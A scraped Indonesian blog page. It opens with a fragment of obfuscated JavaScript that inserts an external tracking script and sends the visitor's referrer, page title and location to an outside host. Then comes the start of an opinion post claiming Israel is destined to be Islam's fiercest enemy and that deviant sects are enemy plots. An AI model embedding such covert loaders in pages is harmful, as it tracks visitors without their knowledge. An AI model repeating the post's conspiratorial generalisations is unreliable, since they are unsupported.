\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Israel Tidak Salah

israel sudah berbuat sesuai dengan yang semestinya mereka perbuat. karena sesungguhnya mereka ditakdirkan menjadi pihak yang paling keras memusuhi kaum muslimin. mereka tidak akan berhenti membuat fitnah/penindasan hingga dapat menghancurkan islam atau mengembalikan kepada kekafiran. justru kita kaum muslimin yang tidak berbuat yang semestinya, yaitu menjadi penolong antara yang satu dengan lainnya. kaum muslimin seolah tidak merasakan yang seharusnya mereka rasakan: ikut merasa sakit jika muslim lain merasa sakit, bagaikan satu tubuh.

kenapa itu bisa terjadi? satu hal, karena berpecah belah. dan parahnya lagi terpancing provokasi sehingga terjerumus ke dalam perpecahan itu. di afghanistan masih terjadi krisis. di baghdad masih ada berita pemboman. ada lagi pemberitaan mengenai konflik antara yaman dengan al-qaeda. tampak sekali musuh-musuh islam mempartisi perjuangan umat islam dengan membuatnya berjuang untuk golongannya masing-masing. dan yang lebih parah lagi, membuat golongan-golongan islam saling menyalahkan dan tidak dukung mendukung.

saling men-tahdzir, saling menyalahkan, fatah dengan hamas, syiah dengan sunni, salafiyyah dengan hizbiyyah dan/atau sururiyyah. harokah yang satu dengan yang lain. belum lagi munculnya aliran-aliran sesat yang terindikasi juga merupakan inisiasi dari penentang islam. sepertinya mereka meyakini hadits nabi:
Continue reading “Israel Tidak Salah”